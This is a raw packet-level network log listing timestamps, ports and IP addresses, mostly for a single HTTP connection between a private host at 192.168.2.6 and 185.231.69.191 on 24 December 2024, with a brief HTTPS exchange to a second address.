Dec 24, 2024 14:02:39.139465094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.139530897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.139605999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.139815092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.140032053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.140093088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.140820980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.140872002 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.141705036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.141834021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.141846895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.141880989 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.141901970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.142771959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.142947912 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.142998934 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.143714905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.144090891 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.144141912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.144715071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.144789934 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.144835949 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.145700932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.145756960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.145801067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.146678925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.146723986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.147053003 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.147234917 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.147654057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.147891045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.147974014 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.148773909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.148787022 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.148843050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.149688959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.149707079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.149734974 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.149751902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.150708914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.150758982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.150928020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.150974035 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.151592016 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.151669979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.151721001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.152578115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.152647018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.152690887 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.153489113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.153531075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.153736115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.154478073 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.154532909 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.154787064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.155359983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.155514002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.155769110 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.155810118 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.156454086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.156893969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.156935930 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.157413006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.157471895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.157525063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.158031940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.158437014 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.158483982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.158672094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.158715963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.159538031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.159550905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.159593105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.160501003 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.160547972 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.160594940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.161367893 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.161412001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.161412954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.162364006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.162409067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.162424088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.163203955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.163333893 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.163399935 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.163444996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.164243937 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.164391041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.164450884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.165266991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.165313005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.165369034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.166429996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.166476011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.166927099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.167227983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.167278051 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.167336941 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.168168068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.168215990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.327331066 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.447526932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.712878942 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:39.712935925 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:39.713144064 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:39.713692904 CET	49810	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:39.713711023 CET	443	49810	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:39.736241102 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.736301899 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.736346006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.736712933 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.736766100 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.736829042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.736926079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.737962008 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.738030910 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.738323927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.738367081 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.738684893 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.738738060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.738807917 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.738853931 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.739631891 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.739682913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.739706993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.739917994 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.740622044 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.740669012 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.740896940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.740968943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.813745022 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.813776970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.813889980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.813963890 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.814049006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.814111948 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.814126968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.814955950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.815004110 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.815203905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.815335035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.815377951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.816199064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.816231012 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.816272974 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.817131042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.817173958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.817332983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.818078041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.818123102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.818196058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.819183111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.819230080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.819399118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.819448948 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.820082903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.820310116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.820363045 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.821110010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.821192026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.821798086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.822060108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.822110891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.822199106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.822981119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.823029995 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.823095083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.823137999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.823986053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.825195074 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.891987085 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.892138004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.892298937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.892522097 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.892569065 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.892644882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.893198967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.893698931 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.893739939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.893887997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.893925905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.894462109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.894504070 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.894537926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.894577026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.895293951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.895333052 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.895576954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.896198034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.896240950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.896354914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.897191048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.897205114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.897861004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.897906065 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.898148060 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.898165941 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.898206949 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.899077892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.899118900 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.899144888 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.900120020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.900161028 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.900238991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.901062012 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.901107073 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.901321888 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.902070045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.902086973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.902113914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.902124882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.903084040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.903126955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.903403044 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.904021978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.904067993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.904200077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.904977083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.905029058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.905709028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.906035900 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.906080008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.906811953 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.906855106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.907092094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.907460928 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.907504082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.908014059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.908061028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.908103943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.909002066 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.909046888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.909348011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.910012007 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.910027981 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.910056114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.910080910 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.910841942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.910933971 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.910976887 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.911823034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.912727118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.912776947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.912803888 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.912821054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.912847042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.912868977 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.913768053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.913945913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.913996935 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.970010042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.970130920 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.970197916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.970516920 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.970606089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.970626116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.970707893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.971584082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.971623898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.971651077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.972614050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.972657919 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.972795963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.973189116 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.973470926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.973608017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.973649979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.974318027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.974622965 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.974664927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.975333929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.975553989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.975601912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.976315022 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.976356030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.976521015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.977195024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.977308989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.977349997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.977380991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.977417946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.978240013 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.978279114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.978491068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.978533030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.979280949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.979326963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.979578018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.980232000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.980276108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.980976105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.981194973 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.981221914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.981239080 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.981278896 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.982148886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.982438087 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.982482910 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.983129978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.983378887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.983428001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.984347105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.984400988 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.984519958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.985189915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.985311985 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.985352993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.985385895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.985428095 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.986051083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.986110926 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:39.986200094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:39.986242056 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.005568981 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.005907059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.005961895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.006056070 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.006072998 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.006113052 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.007112026 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.007154942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.007319927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.007965088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.008008003 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.008898020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.009195089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.009228945 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.009246111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.009284973 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.010026932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.010412931 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.010454893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.010932922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.010983944 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.011382103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.011888981 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.011934042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:40.011985064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.012813091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:40.012862921 CET	49787	80	192.168.2.6	185.231.69.191
